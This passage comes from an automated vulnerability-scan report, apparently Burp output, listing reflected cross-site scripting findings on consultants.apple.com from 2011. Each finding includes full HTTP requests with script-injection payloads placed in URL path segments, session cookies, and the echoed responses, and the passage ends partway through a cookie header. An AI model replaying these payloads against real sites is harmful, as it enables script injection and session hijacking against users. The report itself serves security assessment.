MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15983

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images/border-right.giff3782;alert(1)//28f135001d8" class="search" id="g-search">
...[SNIP]...

1.19. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.gif

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 49c71%3balert(1)//f418cfb6930 was submitted in the REST URL parameter 2. This input was echoed as 49c71;alert(1)//f418cfb6930 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C49c71%3balert(1)//f418cfb6930/images/bottom.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:39 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:39 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15977

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<49c71;alert(1)//f418cfb6930/images/bottom.gif" class="search" id="g-search">
...[SNIP]...

1.20. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ad5e"><script>alert(1)</script>81389160194 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services.php/9ad5e"><script>alert(1)</script>81389160194/images/bottom.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:38 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:38 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15953

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<form name="US" method="post" action="/services.php/9ad5e"><script>alert(1)</script>81389160194/images/bottom.gif" class="search" id="g-search">
...[SNIP]...

1.21. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.gif

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 8306b%3balert(1)//2b6eaf5ab5d was submitted in the REST URL parameter 3. This input was echoed as 8306b;alert(1)//2b6eaf5ab5d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images8306b%3balert(1)//2b6eaf5ab5d/bottom.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:41 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:41 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15977

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images8306b;alert(1)//2b6eaf5ab5d/bottom.gif" class="search" id="g-search">
...[SNIP]...

1.22. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.gif

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f5389%3balert(1)//519c80a2fb3 was submitted in the REST URL parameter 4. This input was echoed as f5389;alert(1)//519c80a2fb3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.giff5389%3balert(1)//519c80a2fb3 HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:46 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:46 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15977

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images/bottom.giff5389;alert(1)//519c80a2fb3" class="search" id="g-search">
...[SNIP]...

1.23. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5186"><script>alert(1)</script>80ee69661ff was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services.php/e5186"><script>alert(1)</script>80ee69661ff/images/button-locate.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; 